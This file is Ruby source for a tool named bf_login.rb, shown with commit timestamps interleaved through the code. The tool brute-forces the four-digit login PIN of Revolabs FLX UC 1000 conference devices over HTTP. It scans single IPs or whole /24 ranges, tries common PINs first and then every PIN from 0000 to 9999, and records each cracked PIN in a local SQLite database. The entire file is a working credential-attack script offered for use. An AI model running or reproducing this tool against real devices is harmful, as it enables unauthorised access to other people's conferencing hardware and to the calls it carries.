2016-07-01 04:50:14 +02:00
#!/usr/bin/env ruby
## bf_login.rb - brute force the login for the revolabs flx UC 1000
require 'json'
require 'net/http'
2016-07-19 16:23:12 +02:00
require 'sequel'
2016-07-01 04:50:14 +02:00
require 'uri'
2017-02-09 17:42:30 +01:00
class BfLoginError < StandardError ; end
2016-07-19 16:23:12 +02:00
class BfLogin
2017-02-09 17:42:30 +01:00
attr_reader :address , :dbh , :errors , :found , :responses
2016-07-19 16:23:12 +02:00
def initialize ( address )
@address = address
@errors = Array . new
@responses = Array . new
2017-02-09 17:42:30 +01:00
@found = Hash . new
2016-07-19 16:23:12 +02:00
2017-02-09 17:42:30 +01:00
db = 'bflogin.db'
2016-07-19 16:23:12 +02:00
@dbh = Sequel . connect ( sprintf ( 'sqlite://%s' , db ) )
2017-02-09 17:42:30 +01:00
initialize_db
2016-07-19 16:23:12 +02:00
end
def initialize_db
2017-02-09 17:42:30 +01:00
@dbh . create_table? :pins do
2016-07-19 16:23:12 +02:00
primary_key :id
String :ip
String :pin
Date :created
end
end
def add_pin_to_db ( ip , pin )
2017-02-09 17:42:30 +01:00
if @dbh [ :pins ] . where ( :ip = > ip ) . count . eql? ( 0 )
@dbh [ :pins ] . insert (
:ip = > ip ,
:pin = > pin ,
:created = > Time . now ,
)
else
puts sprintf ( 'found pin[%s] for ip[%s], but database already includes this' , pin , ip )
end
@found [ ip ] = pin
2016-07-19 16:23:12 +02:00
end
# return a Net::HTTP::Post request suitable for validating +pin+
def get_request ( uri , pin )
request = Net :: HTTP :: Post . new ( uri . request_uri )
request [ 'Accept' ] = 'application/json, text/plain, */*'
request [ 'Accept-Encoding' ] = 'gzip, deflate'
request [ 'Accept-Language' ] = 'en-US,en;q=0.8'
request [ 'Connection' ] = 'keep-alive'
request [ 'Content-Type' ] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
request [ 'Origin' ] = sprintf ( 'http://%s' , uri . host )
request [ 'Referer' ] = sprintf ( 'http://%s/login' , uri . host )
request [ 'User-Agent' ] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
# TODO determine necessity of this, given fuzzing, it's probably unnecessary
request [ 'Cookie' ] = sprintf ( '_ga=GA1.4.595462255.%s' , Time . now . to_i )
body = Array . new
body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
body << 'Content-type: plain/text'
body << '' # newline
body << sprintf ( '<properties sys.validate-password="%s"/>' , pin )
body << '-----------------------------7da24f2e50046'
request . body = body . join ( " \r \n " )
request
end
# return True|False
def check_pin ( url , pin )
uri = URI . parse ( url )
http = Net :: HTTP . new ( uri . host , uri . port )
2016-07-01 04:50:14 +02:00
2017-02-09 17:42:30 +01:00
http . open_timeout = 5
2016-07-19 16:23:12 +02:00
request = get_request ( uri , pin )
response = http . request ( request )
2016-07-01 04:50:14 +02:00
2016-07-19 16:23:12 +02:00
# <properties sys.validate-password="0"></properties>
2017-02-09 17:42:30 +01:00
#if response['Content-Type'].eql?('text/html') # crappy cisco devices
if response [ 'Content-Type' ] . eql? ( 'text/plain' )
response . body . match ( / 1 / ) ? true : false
else
raise BfLoginError . new ( sprintf ( 'host[%s] is listening on port 80, but does not look like a revo, skipping' , uri . host ) )
end
2016-07-19 16:23:12 +02:00
end
2016-07-01 04:50:14 +02:00
end
#
## main()
2016-10-15 18:31:22 +02:00
address = ARGV . first
2016-07-01 04:50:14 +02:00
if address . nil?
2016-07-05 02:53:47 +02:00
puts sprintf ( 'usage: %s <ipaddress/range>' , __FILE__ )
puts sprintf ( ' %s 192.168.1.42' , __FILE__ )
puts sprintf ( ' %s 192.168.1.*' , __FILE__ )
2016-07-01 04:50:14 +02:00
exit 1
end
2017-02-09 17:42:30 +01:00
mode = address . match ( / \ d{1,3} \ . \ d{1,3} \ . \ d{1,3} \ . \ d{1,3} / ) ? :ip : :range
2016-07-05 02:53:47 +02:00
targets = Array . new
if mode . eql? ( :ip )
targets << address
elsif mode . eql? ( :range )
base = address . split ( '.' ) [ 0 .. 2 ] . join ( '.' )
1 . upto ( 254 ) do | octet |
targets << sprintf ( '%s.%s' , base , octet )
end
end
2017-02-09 17:42:30 +01:00
puts sprintf ( 'target count[%s]' , targets . size )
2016-11-09 01:26:27 +01:00
_pins = Array . new
9999 . downto ( 0 ) . to_a . each do | i |
_pins << sprintf ( '%04d' , i )
2016-07-08 10:01:11 +02:00
end
2016-11-09 01:26:27 +01:00
prioritized = [ 1234 , 2546 , 1739 , 9876 , 1425 , 4152 ] . each . collect { | i | i . to_s } # commonly used PINs
2016-07-05 02:53:47 +02:00
# commonly used PINs that follow a pattern
0 . upto ( 9 ) do | i |
2016-11-09 01:26:27 +01:00
prioritized << sprintf ( '%04d' , i * 1111 )
2016-07-05 02:53:47 +02:00
end
2016-11-09 01:26:27 +01:00
pins = [ prioritized , _pins ] . flatten . uniq
2016-07-08 10:01:11 +02:00
2016-07-05 02:53:47 +02:00
targets . each do | target |
2016-07-19 16:23:12 +02:00
app = BfLogin . new ( target )
2016-07-08 10:01:11 +02:00
url = sprintf ( 'http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=' , target )
puts sprintf ( 'url: [%s]' , url )
2016-11-09 01:26:27 +01:00
pins . each do | pin |
2016-07-02 00:16:47 +02:00
begin
2017-02-09 17:42:30 +01:00
puts sprintf ( ' trying pin[%s] on[%s]' , pin , target )
2016-07-01 04:50:14 +02:00
2016-10-15 18:31:22 +02:00
response = app . check_pin ( url , pin )
app . responses << { :ip = > target , :pin = > pin , :results = > response }
2016-07-05 02:53:47 +02:00
2016-07-19 16:23:12 +02:00
if response
app . add_pin_to_db ( target , pin )
puts sprintf ( 'INFO: found PIN[%s] for [%s]' , pin , target )
2016-07-02 00:16:47 +02:00
break
end
2016-07-01 04:50:14 +02:00
2016-07-05 02:53:47 +02:00
# this was necessary when testing against a local server, but not against real devices
2016-07-02 00:16:47 +02:00
#sleep 1 if (i % 100).eql?(0)
2016-07-01 04:50:14 +02:00
2017-02-09 17:42:30 +01:00
rescue Errno :: ECONNREFUSED , Errno :: ETIMEDOUT , Net :: OpenTimeout = > e
puts sprintf ( 'ERROR: ip[%s] is not listening on 80' , target )
break
rescue BfLoginError = > e
puts e . message
break
2016-07-02 00:16:47 +02:00
rescue = > e
puts sprintf ( 'ERROR: something bad happened on pin[%s]: [%s:%s]' , pin , e . class , e . message )
2017-02-09 17:42:30 +01:00
break
2016-07-02 00:16:47 +02:00
end
2016-07-01 04:50:14 +02:00
2016-07-02 00:16:47 +02:00
end
2016-07-01 04:50:14 +02:00
2016-07-19 16:23:12 +02:00
end